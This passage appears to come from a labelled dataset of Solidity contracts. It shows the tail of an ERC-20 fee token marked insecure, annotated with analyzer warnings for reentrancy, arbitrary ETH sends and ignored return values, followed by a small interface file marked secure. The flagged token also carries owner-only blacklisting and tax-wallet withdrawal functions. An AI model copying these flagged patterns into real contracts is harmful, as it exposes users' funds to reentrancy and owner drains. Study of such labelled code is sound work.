reentrancy-events | ID: dba7d70\n\t\t// reentrancy-benign | ID: 0b6e03a\n\t\t// reentrancy-benign | ID: 8c83511\n\t\t// reentrancy-eth | ID: f79bcbc\n\t\t// reentrancy-eth | ID: e67da25\n\t\t// reentrancy-eth | ID: 2f1816d\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 6b2da42): Contract.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 6b2da42: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 4891b1b\n\t\t// reentrancy-events | ID: 4dc2e32\n\t\t// reentrancy-events | ID: dba7d70\n\t\t// reentrancy-eth | ID: f79bcbc\n\t\t// reentrancy-eth | ID: e67da25\n\t\t// reentrancy-eth | ID: 2f1816d\n\t\t// arbitrary-send-eth | ID: 6b2da42\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint256 i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint256 i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 4dc2e32): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 4dc2e32: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 8c83511): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 8c83511: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 3175133): Contract.Launch() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 3175133: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 9663348): Contract.Launch() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 9663348: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: f79bcbc): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for f79bcbc: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 2f1816d): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 2f1816d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function Launch() public onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), msg.sender, type(uint256).max);\n\n\t\t// reentrancy-events | ID: 4dc2e32\n\t\t// reentrancy-benign | ID: 8c83511\n\t\t// reentrancy-eth | ID: f79bcbc\n\t\t// reentrancy-eth | ID: 2f1816d\n transfer(address(this), balanceOf(msg.sender).mul(98).div(100));\n\n\t\t// reentrancy-events | ID: 4dc2e32\n\t\t// reentrancy-benign | ID: 8c83511\n\t\t// reentrancy-eth | ID: f79bcbc\n\t\t// reentrancy-eth | ID: 2f1816d\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-events | ID: 4dc2e32\n\t\t// reentrancy-benign | ID: 8c83511\n _approve(address(this), address(uniswapV2Router), type(uint256).max);\n\n\t\t// unused-return | ID: 3175133\n\t\t// reentrancy-eth | ID: f79bcbc\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// unused-return | ID: 9663348\n\t\t// reentrancy-eth | ID: f79bcbc\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint256).max);\n\n\t\t// reentrancy-eth | ID: f79bcbc\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: f79bcbc\n tradingOpen = true;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n\n function manualsend() external {\n require(_msgSender() == _taxWallet);\n\n uint256 contractETHBalance = address(this).balance;\n\n sendETHToFee(contractETHBalance);\n }\n}",
"file_name": "solidity_code_3788.sol",
"secure": 0,
"size_bytes": 18726
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface TFWxMulticall {\n function deposit() external payable;\n\n function withdraw(uint256 amount) external;\n\n function getOneConnectToken() external view returns (uint256);\n}",
"file_name": "solidity_code_3789.sol",
"secure": 1,
"size_bytes": 253
} |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.